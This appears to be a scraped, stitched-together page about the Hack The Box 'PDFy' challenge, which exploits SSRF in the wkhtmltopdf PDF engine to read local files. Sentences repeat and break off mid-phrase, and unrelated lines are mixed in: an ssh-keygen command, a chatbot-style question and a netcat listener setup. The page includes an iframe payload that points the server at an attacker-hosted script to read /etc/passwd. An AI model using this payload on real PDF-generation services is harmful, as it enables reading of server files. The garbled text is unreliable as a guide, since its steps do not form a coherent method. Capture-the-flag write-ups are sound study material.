Pdfy Htb Writeup Upd __link__ -
The challenge on Hack The Box is an Easy-rated Web Challenge designed to test your understanding of Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI) when dealing with automated PDF generation engines.
Since the application blocks direct file:// or localhost inputs, the standard bypass is to host a malicious script on your own server. This script will redirect the wkhtmltopdf engine to the local file you want to read.
Take note of the public URL (e.g., https://abc123.ngrok.io ). pdfy htb writeup upd
However, this attempt fails. The PDF might be blank because modern wkhtmltopdf versions block requests to the file:// protocol for security reasons. This is a standard security precaution, but it's not the end of the road.
<!DOCTYPE html> <html> <body> <iframe src="http://our-server.com/axura.php?x=/etc/passwd" height="1000px" width="1000px"></iframe> </body> </html> The challenge on Hack The Box is an
: Before triggering the payload, we set up a listener on our local machine (e.g., using nc -lvnp 4444 ) to catch the incoming connection.
Official PDFy Discussion - Challenges - Hack The Box :: Forums Take note of the public URL (e
The vulnerability map follows a classic vector where an application trusts user input to make outbound HTTP requests:
If you are currently working on this challenge and want to make the next move, let me know: What are you currently using for reconnaissance?
ssh-keygen -t rsa -b 4096 -f id_rsa
The challenge on Hack The Box (HTB) is an easy-rated web challenge focusing on Server-Side Request Forgery (SSRF) and exploiting vulnerable third-party components—specifically the HTML-to-PDF engine wkhtmltopdf .